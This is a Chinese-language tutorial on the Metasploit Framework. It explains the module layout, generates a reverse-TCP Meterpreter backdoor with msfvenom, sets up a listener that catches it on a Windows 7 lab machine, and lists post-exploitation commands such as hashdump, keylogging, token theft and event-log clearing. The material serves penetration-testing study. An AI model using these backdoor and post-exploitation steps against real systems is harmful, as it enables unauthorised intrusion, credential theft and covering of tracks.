msf简介

Metasploit Framework是一个综合性渗透测试工具,集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具

msf目录构成

msf的目录位置

/usr/share/metasploit-framework

image-20240328235414919

msf的各个模块

MSF有7个模块,分别对下面目录下的7个子文件夹

/usr/share/metasploit-framework/modules

image-20240328235616101

  1. auxiliary:负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

  2. encoders:对payload进行加密,躲避AntiVirus检查的模块

  3. evasion:这是用于创建免杀木马的模块

  4. exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

    image-20240329000437236

    这里看一下Windows的一些提权脚本

    /usr/share/metasploit-framework/modules/exploits/windows/local

    image-20240329000459473

    可以看到有很多脚本可以使用,后续会进行学习使用。

  5. payloads:成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。

    • single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
    • stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
    • stages:利用stagers建立的连接下载后续payload
  6. post:后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作

  7. nops:提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

使用msf上线meterpreter

这里使用Windows7来作为受害机器

生成一个后门文件用于类似反弹shell

在MSF中,一般我们生成payload程序后门之类的都是用msfvenom,msfvenom是攻击载荷生成和编码器

主要参数:

-p payload
-e 编码方式,指定编码器,可以实现免杀
-i 编码次数。指定编码迭代次数,一般配合免杀使用
-b: 去掉坏字符,坏字符会影响payload 正常执行
LHOST,LPORT 监听上线的主机IP和端口
-f 指定生成格式,如exe 生成EXE格式
-o 指定文件名称和导出位置
-l 可以查看可以利用payload

执行下面命令生成一个可执行的后门文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=<攻击机IP> lport=<监听的端口号> -f exe > shell.exe

image-20240329002507164

然后我们启动msfconsole开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <攻击者IP>
set lport <监听端口>
exploit

image-20240329003229229

然后把我们刚刚生成的后门文件上传到Windows7上面运行之后就可以获得用户权限,得到meterpreter

image-20240329102808964

然后就可以输入一些命令进行其他操作了,比如getuid查看一下当前的身份

image-20240329102935408

一些常用的命令

直接参考这篇文章copy了过来:https://www.freebuf.com/articles/web/387662.html

主界面的命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退 set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
cd 更改当前的工作目录
核心命令
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
数据库后端命令
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(将自动检测文件类型)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除已保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认值
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
creds 列出数据库中的所有凭据
模块命令
Advanced 显示一个或多个模块的高级选项
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接

拿到Meterepreter后

系统命令

clearav -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
sessions -查看当前的会话

特权升级命令

getprivs -尽可能提升权限
getsystem -获得系统管理员权限,通过各种攻击向量来提升系统用户权限
//不过这两种方式有时候不一定可以

密码转储命令

hashdump -抓取哈希密码 (SAM) 文件中的值

用户界面命令

enumdesktops -列出所有可访问台式机
getdesktop -获取当前的 meterpreter 桌面
idletime -检查长时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
uictl -启用用户界面组件的一些控件

网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发
route -查看或修改受害者路由表

文件系统命令

cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件

帮助菜单

background – 将当前会话移动到背景
bgkill – 杀死一个背景 meterpreter 脚本
bglist – 提供所有正在运行的后台脚本的列表
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
exit – 终止 meterpreter 会话
help – 帮助菜单
interact – 与通道进行交互
irb – 进入 Ruby 脚本模式
migrate – 移动到一个指定的 PID 的活动进程,也就是注入进程
quit – 终止 meterpreter 会话
read – 从通道读取数据
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
write – 将数据写入到一个通道